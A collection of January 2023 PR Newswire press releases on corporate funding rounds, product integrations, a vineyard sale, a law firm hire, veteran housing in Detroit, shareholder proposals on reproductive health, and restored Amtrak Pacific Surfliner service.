The fundraise announcement comes five months after Kevin Coop joined DailyPay as Chief Executive Officer. In his first five months as CEO, DailyPay has significantly grown its roster of clients and has seen meaningful revenue growth.

"On-demand pay has proven to be a transformational financial wellness benefit for employers and their employees, and DailyPay is the proven market-leader. Now, our opportunity lies in capturing more of the market, which is overwhelmingly vast green space," said Kevin Coop, Chief Executive Officer of DailyPay. "Our track record of trust and investment from the world's leading financial institutions validates our business model and path forward. This latest funding further propels us to a position of strength."

Latham & Watkins LLP advised DailyPay on the financing transactions.

DailyPay partners with leading employers across various industries, including Fortune 500 companies such as Hilton, Target, Kroger and Dollar Tree. The company's modern, insight-driven pay strategies help companies activate their workforce and build stronger relationships with their employees, who feel more engaged, work harder, and stay longer.

About DailyPayDailyPay, Inc., powered by its industry-leading technology platform, is on a mission to build a new financial system for everyone. DailyPay delivers the industry's leading on-demand pay solution with modern, insight-driven pay strategies that help America's leading employers to activate their workforce and build stronger relationships with their employees, so they feel more engaged, work harder, and stay longer. DailyPay is headquartered in New York City, with operations based in Minneapolis and Belfast. For more information, visit www.dailypay.com/press.

Media ContactDavid Schwarz[email protected]

Gabriella Lourie[email protected]

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SOURCE DailyPay
WASHINGTON, Jan. 24, 2023 /PRNewswire/ -- This National Mentoring Month, entrepreneurs are harnessing the power of mentoring to launch their businesses to new levels of success. Entrepreneurs who work with a mentor are five times more likely to start a business  and report higher revenues and increased business growth  according to SCORE, a resource partner of the U.S. Small Business Administration and the nation's largest network of volunteer, expert business mentors.

SCORE mentors provide entrepreneurs with critical guidance, as well as practical tools and resources, free of charge

Mentoring: From Startup to Shark Tank

Ten years ago, Dakota and Garret Porter were teenagers when they turned to SCORE to shape their idea to add LED lights to snowboards into a business. "We didn't know anything," says Dakota. The brothers worked with SCORE mentors Tanya Berg and Ed Ketterer to establish a business plan, develop a structure, apply for patents and seek funding. "Our SCORE mentors took us seriously, helping us get off the ground and take tangible steps to start our business," adds Garret.

Recently, the Porters fulfilled their dream to appear on Shark Tank, garnering priceless exposure for their company, Action Glow, plus a $200,000 investment in their patented LED lighting kits for sporting equipment. Their advice to other entrepreneurs: "Get a mentor right away. Your net worth is your network. We are super fortunate to have business experts in our corner. We are still learning every day, but when we have a challenge, we know we have someone who can guide us in the right direction."

Free, Expert Small Business Advice

SCORE mentoring sessions are collaborative, confidential meetings between small business owners and a mentor, either in-person or remotely via phone, email, video or online chat. During these sessions, entrepreneurs can share their business goals, challenges and questions. SCORE mentors will offer advice, resources and insights to guide business owners in their next best steps.

"Mentors make a difference. With years of real-world knowledge and experience, SCORE mentors provide entrepreneurs with critical guidance, as well as practical tools and resources, free of charge," explains SCORE CEO Bridget Weston. Since its launch nearly 60 years ago, SCORE has helped more than 11 million entrepreneurs start or grow a business.

To request your free, small business mentor or to learn more, visit www.score.org/find-mentor.

About SCORE:

SCORE's 10,000 volunteers provide free mentoring, workshops and educational services nationwide, creating 25,084 new businesses and 71,475 non-owner jobs in 2021 alone. Visit SCORE at www.score.org. Follow @SCOREMentors on Facebook, Twitter and LinkedIn.

Funded [in part] through a Cooperative Agreement with the U.S. Small Business Administration.

CONTACT:SCORE800-925-8458 [email protected]Visit to be connected with expert small business interview sources and news updates.

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SOURCE SCORE
SOUTH JORDAN, Utah, Jan. 24, 2023 /PRNewswire/ -- Lucid Software, a leading provider of visual collaboration software, today announced a new integration with Microsoft SharePoint across the Lucid Visual Collaboration Suite.

Through this integration, users will be able to embed Lucidchart documents and Lucidspark boards directly into SharePoint sites. This allows teams to visualize their processes and procedures within their existing workflows, making it easier than ever to communicate project objectives and priorities across stakeholders.

"Enabling teams to more effectively plan and move into action is absolutely crucial in today's ever-changing market," said Dan Lawyer, CPO at Lucid. "This latest integration with Microsoft SharePoint makes alignment easier and more efficient by visualizing tasks right to our mutual users' everyday workflows, allowing teams to accelerate innovation and build the future faster than ever."

This integration with Microsoft SharePoint continues to expand on the extensive integrations available across the Lucid Visual Collaboration Suite, allowing teams to turn ideas into reality. Integrations with enterprise tech industry leaders, including Microsoft, Google, Salesforce and Atlassian, continue to empower teams to clarify complexity, align their insights and build the future.

Learn more about this integration here.

About Lucid Software

Lucid Software is a leader in visual collaboration, helping teams see and build the future from idea to reality. With its productsLucidchart, Lucidspark, and Lucidscaleteams can align around a shared vision, clarify complexity, and collaborate visually, no matter where they're located. Top businesses use Lucid's products all around the world, including customers such as Google, GE and NBC Universal. Lucid's partners include industry leaders such as Google, Atlassian and Microsoft. Since the company's founding, it has received numerous awards for its products, business and workplace culture. For more information, visit lucid.co.

View original content to download multimedia:https://www.prnewswire.com/news-releases/lucid-software-announces-new-integration-with-microsoft-sharepoint-301729622.html

SOURCE Lucid Software
Using Platform-Connected Data, CARS Offers Dealers a Free Preview of How to Maximize Their Trade-in Process, Brand Reputation and Targeted Marketing Efforts

CHICAGO, Jan. 24, 2023 /PRNewswire/ -- With the Cars.com Inc. (NYSE: CARS) platform further strengthened by recently integrated companies such as Accu-Trade and CreditIQ, the richness and scope of its data offering continues to grow. CARS will offer three free, personalized reports for dealers leveraging its platform-connected data at this week's 2023 National Association of Automobile Dealers (NADA) Show in Dallas Jan. 27-29.

Dealers can visit CARS Booth #509 in Hall A at the Kay Bailey Hutchison Convention Center Dallas or reach out to their CARS account rep to gain access to their personalized reports:

The Accu-Save Calculator: Approximately 45% of vehicles sold at a dealership have a trade-in attached. With a standard in-store appraisal averaging 20 minutes per vehicle, dealerships are wasting hundreds of hours on outdated trade-in processes. An Accu-Trade appraisal takes as little as two minutes, and its unique, patent-pending OBD scanner identifies reconditioning issues in 1 of every 4 scanned vehicles  something often missed in traditional appraisals  saving dealers thousands in profitability by identifying maintenance needs before acquisition. Using a dealer's current inventory feed, the report delivers a personalized summary of the time waste and opportunity cost of traditional appraisals and potential cost savings that could be realized by modernizing.

Approximately 45% of vehicles sold at a dealership have a trade-in attached. With a standard in-store appraisal averaging 20 minutes per vehicle, dealerships are wasting hundreds of hours on outdated trade-in processes. An Accu-Trade appraisal takes as little as two minutes, and its unique, patent-pending OBD scanner identifies reconditioning issues in 1 of every 4 scanned vehicles  something often missed in traditional appraisals  saving dealers thousands in profitability by identifying maintenance needs before acquisition. Using a dealer's current inventory feed, the report delivers a personalized summary of the time waste and opportunity cost of traditional appraisals and potential cost savings that could be realized by modernizing. The Experience Review: Reputation matters, and while dealer reviews through DealerRater offer valuable insights, it's now possible to leverage those reviews for macro-level business improvements. Through natural language processing, a type of artificial intelligence, CARS has developed a personalized report identifying which dealership areas are over- or underperforming based on the detailed content of reviews across Cars.com and DealerRater. The information helps dealers focus on opportunities to build a stronger brand reputation.

Reputation matters, and while dealer reviews through DealerRater offer valuable insights, it's now possible to leverage those reviews for macro-level business improvements. Through natural language processing, a type of artificial intelligence, CARS has developed a personalized report identifying which dealership areas are over- or underperforming based on the detailed content of reviews across Cars.com and DealerRater. The information helps dealers focus on opportunities to build a stronger brand reputation. The FUEL In-Market Map Planner: Dealers looking to maximize cost-effective market share growth must start with high-quality data. Back by popular demand, the FUEL In-Market Map Planner leverages Cars.com's pure, in-market audience data to build a customized, geographically targeted, multiscreen audience plan. Dealers can get a sneak preview of competitors' claimed territories to ensure prime placement in the markets that matter most. This year, the report includes in-market display, social and video.

Dealers looking for more information can visit CARS Booth #509 in Hall A at the Kay Bailey Hutchison Convention Center Dallas Jan. 27-29 at the 2023 NADA Show or reach out to their CARS rep.

Sources:1.NADA data, franchise dealers only, December 2022

CARS is the leading automotive marketplace platform that provides a robust set of digital solutions that connect car shoppers with sellers. Launched in 1998 with the flagship marketplace Cars.com and headquartered in Chicago, the Company empowers shoppers with the data, resources and digital tools needed to make informed buying decisions and seamlessly connect with automotive retailers. In a rapidly changing market, CARS enables dealerships and OEMs with innovative technical solutions and data-driven intelligence to better reach and influence ready-to-buy shoppers, increase inventory turn and gain market share.

In addition to Cars.com, the Company's brands include Dealer Inspire, a technology provider building solutions to future-proof dealerships with more efficient operations and connected digital experiences; FUEL, an advertising solution providing dealers and OEMs the benefit of leveraging targeted digital video marketing to Cars.com's audience of in-market car shoppers; DealerRater, a leading car dealer review and reputation management technology solution; CreditIQ, digital financing technology and Accu-Trade, vehicle valuation and appraisal technology. The Company's portfolio of brands also includes Auto.com, PickupTrucks.com and NewCars.com.

The full suite of CARS properties includes Cars.com, Dealer Inspire, FUEL, DealerRater, CreditIQ, Accu-Trade.com, Auto.com, PickupTrucks.com and NewCars.com. For more information, visit www.Cars.com.

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SOURCE Cars.com Inc.
The company also adds Steve Sovik as CRO; Dorit Bruner as CFO; Gilad Bojack as VP of Product and names Greg Tennyson to advisory board

SAN FRANCISCO, Jan. 24, 2023 /PRNewswire/ -- PayEm, the leading platform for spend and procurement management announced today $220 million in equity and credit financing from Viola Credit, Mitsubishi Financial Group, Collaborative Fund and others to fuel its growth.

"This is a significant milestone in the company's growth. Our new warehouse credit facility allows us to scale our credit cards operation and support larger customers with our fast-growing payments platform. In addition, the new equity funding will enable us to continue building our platform," said Itamar Jobani, CEO, PayEm. "With the current macroeconomic conditions, it's never been more important for companies to have an efficient and clear lens into their financial health. We're pleased to be that single source of truth for them as they may navigate turbulent times and supply chain issues, and simply need to do more with less."

PayEm is a leader in the procurement and spend management space for the mid-market. PayEm, an "all-in-one" platform offers smart procurement solutions, AP automation, expanse reimbursement and smart credit cards. PayEm focuses on mid market companies that are struggling to balance between improving their financial oversight while enabling employees to do their work easier and faster, providing them the tools to request and execute their spend. PayEm is helping those companies by offering easy to use procurement workflows combined with world class payments and spend management capabilities. PayEm also has unique features such as supporting multi national entities and cross border payments

The PayEm platform enables finance and procurement teams to drive compliance, help create a culture of accountability, and to drive efficiencies and savings. PayEm today supports customers around the world from its offices in San Francisco and Tel Aviv. Over the last year, PayEm grew its customer base by 300 percent and its revenues by 550 percent.

"With PayEm, we were able to accomplish our goals in nearly half the time. Our management team benefits from much more transparency now. Closing the books is much more efficient, and we don't need to wait for the end of the month. Any transaction that's been recorded in PayEm is already in NetSuite," said Yana Fridman, VP Finance Vi-Labs, an Enterprise-AI for digital health Vi-Labs that previously had disparate systems for AP, Credit Cards, and Spend Management.

"We're excited to join PayEm and back its growing payments program as it enters its next phase of growth to rebuild and streamline the procurement and finance processes for the new age economy," said Ido Vigdor, General Partner at Viola Credit. "We're seeing an incredible demand by CFOs for Payem's connected finance and procurement platform, even more so during times like these as it becomes a key enabler to streamline and control financial policies within the organization, while delegating to employees the decisions over their budget."

We see most businesses, small and large, spending resources to tie point solutions together manually to make things work. This is frustrating for the finance teams and the employees. Spend data can be very effective in improving a business's efficiency but due to the friction involved, most of it remains latent. PayEm identified the problem and developed the right balance of applications and integrations to provide a connected, modern finance platform. As a financial institution, we want our customers to have access to the best financial technology and will work with the company in delivering that, said Mayank Shiromani, Director of Investments, MUFG Innovation Partners, Corporate VC of Mitsubishi UFJ financial group, one of Japan's largest financial institutions

Leadership and advisory team additionsThe company has also announced three major additions to its leadership team.

Steve Sovik has joined as Chief Revenue Officer. Prior to PayEm, Steve served as Chief Revenue Officer at Tipalti, where he grew sales 3,250% in 3.5 years. Formerly, he was SVP of Global Sales at Coupa, where sales grew 5,000% during his tenure and eventually resulted in a successful IPO.

Dorit Bruner, joins as PayEm's CFO overseeing PayEm's finance, legal and accounting with the practice as being a part of senior management finance teams for over 20 years leading large teams through periods of exponential growth, including her tenure at Datorama, where she led the company through their recent acquisition by Salesforce for $850 million.

Gilad Bonjack joins as the company's VP Product with experience from multiple leading global SaaS companies, such as Hi-bob and Lightsticks.

Also, the Company is announcing today a new addition to its advisory board. Greg Tennyson, former VP and Chief Procurement Officer at Oracle, Salesforce, and most recently at VSP Global, brings procure-to-pay technology experience, best practices, and digital transformation knowledge spanning three decades. Greg has been on the advisory boards of Oracle, Coupa, Aravo Solutions, ScoutRFP (now Workday), and Zip. At PayEm, Greg will work closely with the leadership team to shape the product vision and roadmap and bring much-needed innovation to the procurement space.

About PayEm

PayEm has raised $247 million in credit and equity since its launch in January 2020. Investors in PayEm include Pitango, NFX, Glilot, LocalGlobe, Fresh. Fund and co-founders of various companies.

PayEm is an enterprise integrated spend management and procurement platform that automates the entire Request to Reconciliation process for finance and procurement teams. The PayEm platform is pre-integrated into the ERP, organically developed, and designed to meet the needs of the mid-market. Whether Pre-Approval, Post-Approval, or No Approval, PayEm helps to create a "culture of accountability" by putting the necessary controls in place that optimize all methods in which all employees spend money. Whether you are replacing manual processes or consolidating legacy point solutions, PayEm gives finance and procurement teams complete visibility and control that drive process efficiencies, reduce risk, and reduce operating costs that contribute to business growth.

Media contact: Melissa SheridanAlight PR for PayEm[email protected]

Logo - https://mma.prnewswire.com/media/1988179/PayEm_Logo.jpg

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SOURCE PayEm
Consumer-Friendly Tool Gathers Records Automatically to Give Providers a More Complete View for Prenatal, Delivery, and Postpartum Care

SAN FRANCISCO, Jan. 24, 2023 /PRNewswire/ -- Ciox, a Datavant company with a mission to connect the world's healthcare data to improve patient outcomes, launched a pilot with Sentara Healthcare, an integrated healthcare delivery system in Virginia. A new feature in Ciox's Patient Request tool makes it faster and easier for expecting and new mothers to access their health records with the simple click of a button. Because data fragmentation makes it difficult for patients to retrieve medical records, the White House issued an Executive Order calling for new methods to automate this process and improve the patient experience. Sentara chose to collaborate with Ciox because of the success of its Patient Request tool that is highly rated by patients for ease of use.

"Sentara Healthcare prioritizes solutions that most benefit our patients and health plan members in the communities we serve." said Marion Swaim, Vice President, Health Information Management. "Our partnership with Ciox enables Sentara to improve access to digital information for obstetric patients, which is improving patient care and outcomes. The pilot with Ciox, under a White House executive order, reflects progress in reinventing health care for the benefit of patients."

Ciox provides Sentara with technology and services to help retrieve medical records for a number of use cases including closing gaps in care, responding to payment integrity audits, or Medicare risk adjustment. In this enhancement, the Patient Request tool uses a mother's pregnancy due date to calculate healthcare service dates, from prenatal through postpartum care. With one request, a Sentara patient receives a summary delivered securely via email.

Following the pilot launch, the enhancement to the Patient Request tool will be made available to all Ciox customers nationwide. Patient Request has been implemented at over 1,000 healthcare provider sites, used by more than 700,000 patients, and received positive feedback from more than 95% of those patients.

"Data fragmentation is a multi-faceted problem with negative impacts that range from poor patient outcomes to poor patient satisfaction." said Pete McCabe, CEO of Datavant, parent company of Ciox. "This successful pilot means that new moms have one less thing to worry about. Our company goal is for wider adoption for digital retrieval of records that is simple, easy, and automated. This way all providers have the health information they need and patients can benefit from better care."

Learn more about the Patient Request tool that is powered by technology and supported by experts in Ciox's services organization.

About Ciox

Ciox, a Datavant company, provides leading clinical data technology that empowers greater health by unlocking the potential of data in medical records. The company leverages a ubiquitous network of clinical data connections to simply and securely connect healthcare decision makers with the data and hidden insights in patient medical records. Ciox helps customers connect, control, and comply in solving last mile challenges in clinical interoperability. Supporting a range of connectivity needs from research to revenue cycle, Ciox's solutions include clinical data acquisition, release of information, and clinical coding. Learn more about Ciox technology and solutions by visiting www.cioxhealth.com or LinkedIn and Twitter.

Media ContactCiox HealthChad VanAlstin[email protected]941.281.5821

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SOURCE Ciox Health
Many folks outside of New Jersey, and likely even some within the state, may have first heard the town of Millville mentioned when Mike Trout 
Driven by the Dobbs decision, investors seeking action on benefits, data privacy, political spending, and more

SAN FRANCISCO, Jan. 24, 2023 /PRNewswire/ -- In coordination with Rhia Ventures, investors have filed thirty-one (31) shareholder proposals addressing the intersections between corporate policy and reproductive health care, more than doubling the volume of last year's activity.

The proposals addressed employer-provided insurance and benefits, data privacy, political spending, and related matters in various industries.

This year's filings build on a shareholder initiative launched in 2019. "Rhia Ventures is working with a network of institutional investors who are intent on seeing that the companies they hold in their portfolios do all they can to ensure access to the best reproductive and maternal health care," said Rhia Ventures director of corporate engagement Shelley Alpern. "Together, these investors have engaged with numerous companies to drive changes in policy and practice." Before this year, investors had collectively filed 28 shareholder proposals on this topic.

In the 2022 proxy season, before last year's US Supreme Court decision ending the constitutional right to abortion protections (Dobbs v. Jackson Women's Health Organization), eleven proposals came to a vote concerning access to reproductive health care. Those proposals garnered significant support (30-47% of votes cast). Since the June ruling, more than 200 businesses have publicly disclosed or acknowledged improved benefits to support their employees as they navigate mounting obstacles to accessing abortion and other forms of reproductive health care. Rhia Ventures maintains an online database tracking these announcements at #WhatAreYourReproBenefits).

This year's proposals fall into several categories:

Ten proposals address corporate support for politicians and political committees seeking to deny access to reproductive health care in contradiction to their stated values.

Nine proposals address threats to the privacy of reproductive health data collected and maintained by companies.

Six call upon companies to report to shareholders on the risks posed to their companies by restrictive state policies and any strategies they are undertaking to minimize or mitigate these risks.

Proposals were filed at two hospital companies concerning their policies around providing abortions.

Three health insurance companies received proposals concerning their plan offerings concerning abortion and contraception.

A proposal encouraging strong maternal health care benefits was filed at one retailer.

Links to the proposal are appended below.

The proposals note that beyond a moral obligation to address these issues, business interests are at risk. With increased competition for goods and services amidst globalized markets, consumers support companies that address worker needs and critical reproductive health care and abortion access. And the disconnect between political spending and stated values can damage the reputation and diminish the brand value and relations with clients, consumers, and other stakeholders.

"We know that one in four women will have an abortion in her lifetime. We believe that companies succeed when their employees thrive," said David Stocks, executive director at The Educational Foundation of America. "We understand that state abortion bans impact companies by forcing their employees to take significant time off from work and spend hundreds of dollars traveling out of state. That's why it's important to EFA that companies support their workforce and reconsider their contributions to politicians harming their employees through enacting abortion bans." The Foundation has filed proposals at three companies this year.

Dr. Ruth Shaber, founder and president of Tara Health Foundation, said, "The Dobbs decision has dealt a terrible blow to the availability of reproductive health care. We're calling on companies to do all they can to mitigate these impacts." Tara Health Foundation is the sponsor of five shareholder proposals this year.

"The US has chosen to make corporations responsible for the health of their employees through employer-based health insurance. In the wake of the Dobbs decision, that means corporations have an essential role to play in ensuring that everyone has access to full spectrum reproductive health care, including abortion access," said Dorrit Lowsen, co-chief executive officer at Change Finance, which filed data privacy proposals at three companies.

"Protecting reproductive rights is critical to women's health, but it's also a business imperative," said Natasha Lamb, managing partner at Arjuna Capital. "And in a post-Dobbs world, many companies are exposed to a new status quo that threatens their workforce and customers. Investors want to know how they will respond by updating health benefits, privacy policies, and aligning their political spending to support their commitments to diversity, equity, and inclusion." Arjuna Capital has filed proposals at five corporations.

Rob Fohr, director of faith-based investing and corporate engagement for the Presbyterian Church USA, said that the Church "has had a policy in place supporting reproductive justice for decades. As the access to reproductive health care has become more limited, the PCUSA has made additional statements supporting reproductive justice while recognizing that poor, young, or homeless people of color are at a greater disadvantage to finding the care they need."

"A company's leadership is responsible for competently handling complex issues, particularly when those issues are controversial. As investors, we expect them to not turn a blind eye to reproductive health care. Companies need to be proactive in demonstrating to investors that they understand that reproductive health is a business issue. There are no companies without female employees or consumers," stated Meredith Benton, principal at Whistle Stop Capital, a consultancy that supported Nia Impact Capital and As You Sow in filing shareholder resolutions at seven companies.

Rhia Ventures is a social impact organization that leverages the private sector to advance equitable reproductive and maternal health outcomes for women and other birthing people in the US. Our Corporate Engagement program works with institutional investors to promote corporate responsibility regarding all reproductive and maternal health aspects.

The names of some companies that have received proposals have been withheld because the proponents are in sensitive discussions with company management.

CONTACT: Michael Ceraso, [email protected]

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SOURCE Rhia Ventures
FRESNO, Calif., Jan. 23, 2023 /PRNewswire/ -- The 1,300+ acre collection of vineyards and land commonly referred to as the Paicines Vineyards located within San Benito County, California, was recently sold to The Wine Group ("TWG"). The Mendrin Group, a leading agricultural brokerage, consulting, and advisory firm, served as the exclusive advisor to the seller, an undisclosed winery in the transaction.

The Wine Group Acquires 1,300+ Acre Paicines Vineyards

The Paicines Vineyards are located in the Paicines American Viticultural Area, a quality growing area of California's Central Coast and San Benito County that has seen a revival of interest in wines produced where deep-rooted brands such as Almaden and Paul Masson originated.

The acquisition expands The Wine Group's existing holdings of vineyards within the Paicines AVA in a significant way. "The Paicines Vineyards offer a great blend of water security, scale, production, quality, and overall value as an asset to produce coastal red and white winegrapes for our wine programs currently met with strong demand," stated John Sutton, CEO of The Wine Group.

About The Wine Group

With over 60 wine brands and many winery facilities located worldwide, The Wine Group, headquartered in Livermore, CA, is America's second largest wine producer by volume. TWG is responsible for many of America's most beloved and award-winning wine brands such as Cupcake, Franzia, Benziger, Imagery, AVA Grace, 7 Deadly, and more. "At TWG we are proud to make a positive environmental impact and preserve our land for generations to come. We demonstrate our environmental stewardship through our commitment to clean energy, our certification of all TWG vineyards (covering thousands of acres) as sustainable or biodynamic, and requiring our third-party grape producers to do the same. This is not only good for the land, it's good for the future and for the wines we make." For further information, please visit: www.thewinegroup.com

About The Mendrin Group

The Mendrin Group is a leading agricultural industry brokerage, consulting, and advisory firm, that specializes in the valuation, marketing, acquisition, and sale of agricultural related assets and vertically-integrated agribusinesses, and has represented clients throughout the United States and globally for over 30 years. Based in California, The Mendrin Group has served in an advisory role in numerous transactions on behalf of family farming operations, agribusinesses, investment firms, and pension, private equity, and sovereign wealth funds, in addition to global food and beverage companies. For further information, please visit: www.mendrins.com

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SOURCE The Mendrin Group
O'Donnell Brings Wealth of Antitrust, Complex Commercial Litigation Expertise in Pharma Industry

PHILADELPHIA, Jan. 24, 2023 /PRNewswire/ -- Melissa Hatch O'Donnell, a talented health care attorney with significant experience in antitrust law, False Claims Act, and other complex commercial litigation, has rejoined Troutman Pepper as a partner in the firm's Health Sciences Litigation Practice Group. O'Donnell returns to the firm's Philadelphia office after spending nearly four years in-house with Cigna, where she provided litigation and regulatory counsel, and focused on pharmacy benefit managers' relationships with pharmaceutical manufacturers, health plans, and pharmacies.

"We are delighted to welcome Melissa back to the firm," said Sean Fahey, chair of the firm's Health Sciences Litigation Practice Group. "As we see demand for top-flight health care-focused litigators continue to grow, her addition deepens our bench strength for clients, particularly in the critical areas of antitrust law and complex commercial litigation."

O'Donnell brings extensive experience handling class action and large multidistrict litigations, as well as commercial, antitrust, unfair trade practice, and health care litigation. Drawing from in-house experience at a multinational, publicly traded health solutions company, O'Donnell advises clients in the health care and life sciences sectors in matters involving civil and criminal antitrust, competition, and other regulatory risks.

"I am thrilled to return to Troutman Pepper and private practice," O'Donnell said. "My time in-house has given me critical insight into what clients value, and I look forward to applying that experience to counsel clients through their toughest antitrust, competition, and regulatory matters."

After earning her B.A. from Penn State University, O'Donnell earned both her J.D. and her M.A. in Bioethics from the University of Pennsylvania. Prior to transitioning in-house, O'Donnell began her legal career with Troutman Pepper in 2010.

Troutman Pepper's leading life sciences and health care practice counsels clients at all stages of the health care continuum  from drug development to clinical care  from emerging biotech to global pharma. The firm takes an integrated, interdisciplinary approach to counsel clients with complex, evolving needs, providing critical support including intellectual property prosecution and litigation, corporate finance and governance, privacy and cybersecurity, litigation, regulatory, and enforcement.

About Troutman PepperTroutman Pepper is a national law firm with more than 1,200 attorneys strategically located in 23 U.S. cities. The firm's litigation, transactional, and regulatory practices advise a diverse client base, from start-ups to multinational enterprises. The firm provides sophisticated legal solutions to clients' most pressing business challenges, with depth across industry sectors, including energy, financial services, health sciences, insurance, and private equity, among others. Learn more at troutman.com.

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SOURCE Troutman Pepper Hamilton Sanders LLP
DETROIT, Jan. 24, 2023 /PRNewswire/ -- Today, Community Solutions, Detroit Rescue Mission Ministries, Rocket Community Fund and The Home Depot Foundation announced the conversion of 60 transitional units into permanent housing units for veterans exiting homelessness.

The converted facility, 211 Glendale, is operated by Detroit Rescue Mission Ministries in Highland Park and the 60 new apartments include kitchenettes, upgraded fixtures and renovated common areas that will meet the needs of veterans to serve as permanent, sustainable housing. Renovations were supported through equal donations from the Rocket Community Fund and The Home Depot Foundation.

Dr. Chad Audi, PhD, CEO and President of Detroit Rescue Mission Ministries said, "People tend to be very passionate about helping Veterans for only a few months or holidays out of the year. After that, they sort of fade into the background. In addition to our other year-round Veteran assistance programs, initiatives like this one will ensure our soldiers are housed and supported year-round and give them the tools to recover their lives and independence, which is always our end goal."

Freddie Tucker was the first veteran to move into the complex. Tucker's service was complete in 1983, but he said he didn't start accessing his VA benefits until the last few years when he fell on difficult times. Earlier this year, Tucker stayed in a homeless shelter in Detroit for three months, but said he was determined to progress out of that temporary situation. Detroit Rescue Mission Ministries connected him with a mental health counselor and told him about the new units at 211 Glendale that would soon be available. With their support, he moved into his new, permanent apartment in August.

Freddie Tucker, Veteran, said: "To me, it's more like a place where I call home. I'm proud to be here everyday. When I was in the shelter, I wouldn't go check in until it was dark. When I would get off work, I would go to the park and park my car and just sit. But here, when I get off work, I come straight home because I have somewhere I want to be."

The converted units aim to support the city's ongoing efforts to reduce veteran homelessness toward functional zero, a dynamic, measurable end state where veteran homelessness is rare and brief. Detroit is one of 105 communities in Built for Zero, a national initiative to measurably reduce homelessness to functional zero. From January 2018 to September 2022, Detroit has driven a 50 percent reduction in veteran homelessness, helping 1,175 veterans exit homelessness.

Nadine Maleh, Community Solutions Housing Systems Director, said: "Detroit is a leader in proving that it's possible to solve veteran homelessness. By having community-wide collaboration and real-time, by-name data on each veteran experiencing homelessness, they have been able to implement strategies to drive reductions in veteran homelessness. This data and collaboration has been key in determining the type and scale of housing models necessary to end homelessness, in this case increasing permanent housing options for veterans at 211 Glendale."

FROM TRANSITIONAL UNITS TO PERMANENT, SUPPORTIVE HOUSING

In Detroit, Community Solutions worked with the local housing provider, Detroit Rescue Mission Ministries, to convert the transitional beds to permanent housing through renovation, construction and a new financing model.

Candance Morgan, Detroit Veteran Leadership Team committee member, said: "We are very excited about having more affordable permanent housing for veterans. The Detroit Veteran leadership team has worked so hard on envisioning and creating affordable housing opportunities for our veterans and to see the fruit of that labor in the form of 211 Glendale is extremely rewarding."

Community Solutions, Rocket Community Fund and The Home Depot Foundation provided funding for the construction costs and helped the housing provider reconfigure its financial model so it can eventually generate income, while furthering its mission to end homelessness for veterans.

Laura Grannemann, Vice President of Strategic Investments, Rocket Community Fund, said: "The Rocket Community Fund believes that everyone should have access to a safe and stable home, especially those who put their lives on the line for our country. We are proud to support this innovative model that will provide new housing for veterans and will push us closer to ending veteran homelessness in Detroit."

Shannon Gerber, Executive Director of The Home Depot Foundation, said: "Through The Home Depot Foundation's long-standing partnership with Community Solutions and its Built for Zero initiative, we've seen significant reductions in veteran homelessness in cities across the country. We're proud to play a part in bringing that model of success to Detroit, helping more veterans in the community exit homelessness and access stable, secure housing at 211 Glendale."

This project demonstrates a model for other operators interested in repurposing transitional housing programs to meet the permanent housing needs of a community that arise as they reduce and end veteran homelessness.

The 60 units were converted into permanent housing from transitional housing funded by the U.S. Department of Veterans Affairs Grant and Per Diem (GPD) program. This conversion has ensured that Detroit veterans will be able to move into stable housing and still receive the support services needed to remain permanently housed.

Community Solutions is a nonprofit committed to creating a lasting end to homelessness that leaves no one behind. It leads Built for Zero, a movement of more than 100 communities in the United States working to measurably and equitably end homelessness. Using a data-driven methodology, these communities have changed how local systems work and the impact they can achieve. To date, 14 communities have reached a milestone known as functional zero, a milestone for ending homelessness for a population. Learn more at www.community.solutions or follow us at @CmtySolutions. Media Contact: Lauren Barnes, [email protected]

Media Contacts:

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SOURCE Community Solutions
Trains will travel between San Diego and Orange County on Saturdays and Sundays without a bus connection, while tracks remain closed on weekdays for construction

ORANGE, Calif., Jan. 23, 2023 /PRNewswire/ -- The Los Angeles  San Diego  San Luis Obispo (LOSSAN) Rail Corridor Agency, which manages the Amtrak Pacific Surfliner service, will restore partial train service between San Diego and Los Angeles. Trains will again operate between Oceanside and Irvine on Saturdays and Sundays starting February 4.

Passenger rail service was suspended between Irvine and Oceanside on September 30, 2022, out of an abundance of caution after officials noticed movement of the tracks and the adjacent hillside.

Throughout the track closure, the Pacific Surfliner has operated shuttle buses between Irvine and Oceanside stations to maintain vital connections between Los Angeles, Orange and San Diego Counties. Limited train service to San Juan Capistrano was restored on October 31, 2022.

Emergency construction work, which is being led by the Orange County Transportation Authority (OCTA), has successfully stopped the movement of the hillside and stabilized the tracks in south San Clemente, clearing the way for some rail service to resume. To ensure worker safety and the most efficient completion of the project, rail service will operate only on the weekends. Construction will continue on weekdays until the project is complete, which is estimated to be at the end of March.

"The safety of our passengers and crew is our top priority, and I want to thank our customers for their patience during this extended track closure," said Jason Jewell, Managing Director of the LOSSAN Agency. "We're excited to resume weekend Pacific Surfliner train service between Los Angeles and San Diego."

On weekends, beginning on February 4, limited train service will be restored between Los Angeles, Orange, and San Diego Counties with no bus connection required, these trains include:

Southbound trains 562, 564, 770, 774, 580, 784, and 588

Northbound trains 765, 567, 777, 581, 785, 591, and 595

As a result of recent storms, tracks are closed north of Goleta for repairs and construction, with thruway bus service providing connections to San Luis Obispo and the Bay Area. Train service is anticipated to be fully restored north of Los Angeles the week of February 13th.

The schedule that has been in place since October 31, 2022, will remain in effect Monday through Friday. Service is expected to fully resume at the end of March.

Updated schedules and passenger information is available on the Pacific Surfliner website (PacificSurfliner.com/advisory) and Twitter (@PacSurfliners).

About the Amtrak Pacific Surfliner

The Pacific Surfliner travels along a 351-mile coastal route through San Diego, Orange, Los Angeles, Ventura, Santa Barbara, and San Luis Obispo counties, serving 29 stations. It is the busiest state-supported intercity passenger rail route in the United States. To learn more and plan a trip, visit pacificsurfliner.com.

About the LOSSAN Rail Corridor Agency

The Los Angeles  San Diego  San Luis Obispo (LOSSAN) Rail Corridor Agency is a joint powers authority composed of rail owners, operators and planning agencies along the entire LOSSAN rail corridor. In addition to working to improve passenger rail ridership, revenue, on- time performance, operational flexibility, and safety, the LOSSAN Agency assumed management responsibility for the Pacific Surfliner service in July 2015, following the execution of an interagency transfer agreement with the state of California. The Orange County Transportation Authority provides all necessary administrative support for the LOSSAN Agency and its Board. For more information, visit Lossan.org.

About OCTA

The Orange County Transportation Authority is the county transportation planning commission, responsible for funding and implementing transit and capital projects for a balanced and sustainable transportation system that reflects the diverse travel needs of the county's 34 cities and 3.2 million residents. With the mission of keeping Orange County moving, this includes freeways and express lanes, bus and rail transit, rideshare, commuter rail and active transportation. To sign up for more OCTA news, visit octa.net/GetConnected.

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SOURCE Amtrak Pacific Surfliner
